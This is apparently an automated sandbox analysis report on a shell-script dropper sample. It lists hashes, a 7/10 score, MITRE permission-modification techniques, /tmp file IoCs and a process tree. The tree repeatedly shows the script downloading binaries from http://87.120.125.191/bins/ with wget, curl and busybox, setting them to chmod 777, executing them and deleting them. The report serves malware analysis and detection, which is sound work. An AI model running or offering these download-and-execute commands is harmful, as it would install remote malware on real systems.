9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e

Analysis

max time kernel
127s
max time network
132s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
19/11/2024, 05:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
Size 10KB
Sample241119-frtcdazrcv
SHA256 9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e
MD5 e3b5d19a004ba0f4b3ebb743dc63ef5b
SHA1 939dcb997017982ee5438e12d01ea92df4588fe8
SHA512 9a5ad6313d0784b5778b7a446f578a74cb63b0f75b0c4734674a21937537aa03ff7a9a6812f150c7660bc59af1892dcdbc7a508dd83564b947feea32e97d6747
SSDEEP 192:m/L+7UcsKWi7lp7U7Ko3q7ckjLSLeLJIHgqa3j5deSB7madxxp+8EDxEMT9lrEMO:LfX42DUIJogqWIIs/vUIJog4
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
811	chmod
913	chmod
753	chmod
777	chmod
817	chmod
877	chmod
883	chmod
925	chmod
931	chmod
949	chmod
733	chmod
889	chmod
919	chmod
834	chmod
961	chmod
865	chmod
907	chmod
937	chmod
943	chmod
857	chmod
955	chmod
871	chmod
895	chmod
901	chmod
967	chmod
739	chmod
802	chmod
725	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	curl
File opened for modification	/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	curl
File opened for modification	/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	curl
File opened for modification	/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	curl
File opened for modification	/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	curl
File opened for modification	/tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln	curl
File opened for modification	/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	curl
File opened for modification	/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	curl
File opened for modification	/tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj	curl
File opened for modification	/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	curl
File opened for modification	/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	curl
File opened for modification	/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	curl
File opened for modification	/tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe	curl
File opened for modification	/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	curl
File opened for modification	/tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI	curl
File opened for modification	/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	curl
File opened for modification	/tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi	curl
File opened for modification	/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	curl
File opened for modification	/tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj	curl
File opened for modification	/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	curl
File opened for modification	/tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ	curl
File opened for modification	/tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ	curl
File opened for modification	/tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7	curl
File opened for modification	/tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K	curl
File opened for modification	/tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL	curl
File opened for modification	/tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS	curl
File opened for modification	/tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0	curl
File opened for modification	/tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H	curl

/tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
/tmp/9ae435f868d708ec69ca905204c0849fafa428a84328778ecaf8e8336577992e.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:722
- /bin/chmod
  chmod 777 OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  ./OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:728
- /usr/bin/wget
  wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:732
- /bin/chmod
  chmod 777 WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  ./WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:738
- /bin/chmod
  chmod 777 a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  ./a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:750
- /bin/chmod
  chmod 777 qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  ./qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:773
- /bin/chmod
  chmod 777 tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  ./tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm tXkbHAIYwyF0CF9OQhiSNN7BLwSbjxFObi
  2⤵
  PID:781
- /usr/bin/wget
  wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:799
- /bin/chmod
  chmod 777 vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  ./vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm vH4qa7VuTD8BoFysRqR8dk0wv3ROMZudTI
  2⤵
  PID:806
- /usr/bin/wget
  wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:810
- /bin/chmod
  chmod 777 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  ./3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm 3quuaOjun3Tl9nhGn4K5Ah6B0GQ6YXIHvj
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:816
- /bin/chmod
  chmod 777 mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  ./mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:819
- /usr/bin/wget
  wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:831
- /bin/chmod
  chmod 777 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  ./9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:839
- /usr/bin/wget
  wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:853
- /bin/chmod
  chmod 777 HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  ./HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:864
- /bin/chmod
  chmod 777 lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  ./lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:870
- /bin/chmod
  chmod 777 AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  ./AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:876
- /bin/chmod
  chmod 777 iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  ./iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:882
- /bin/chmod
  chmod 777 O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  ./O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:888
- /bin/chmod
  chmod 777 iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  ./iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm iDEicSLGL4SSYZI3s86MN5fIi4JpMSArRL
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:894
- /bin/chmod
  chmod 777 O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  ./O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm O68TR92DtqRdH1srZNg4laLjtUSlKlRhe7
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:900
- /bin/chmod
  chmod 777 HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  ./HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm HzyGApkKKwSFdXzdpTSNiLdQ1WdLvxwBiZ
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:906
- /bin/chmod
  chmod 777 lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  ./lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm lcVzP2H0RWqwML7NYtHaU0q4qdpUteHlkJ
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:912
- /bin/chmod
  chmod 777 AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  ./AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm AyZnXiDksKsM88Y3GX46IgvAKJ3ODTosln
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:918
- /bin/chmod
  chmod 777 OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  ./OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm OYWKFOVKYIY2hng2lJcVq6ooWCPG37BVQj
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:924
- /bin/chmod
  chmod 777 WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  ./WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm WK7ciQ4h2sW8Kp4KHb45nWkgH36QatNoFS
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:930
- /bin/chmod
  chmod 777 a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  ./a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm a5xff2FYZD8ogJW97ZwvveRjv7k9nB8P3K
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:936
- /bin/chmod
  chmod 777 mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  ./mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm mpjK8HPkQniSCQQVSDpykKUlpCBoDnEvDe
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:942
- /bin/chmod
  chmod 777 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  ./9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm 9iZrxHQJg2qK0x3epLHC5kHA4I7oZlpnP0
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/qcuwYGk2JkGxyeuKlu5IcbXDtEfd0j305H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
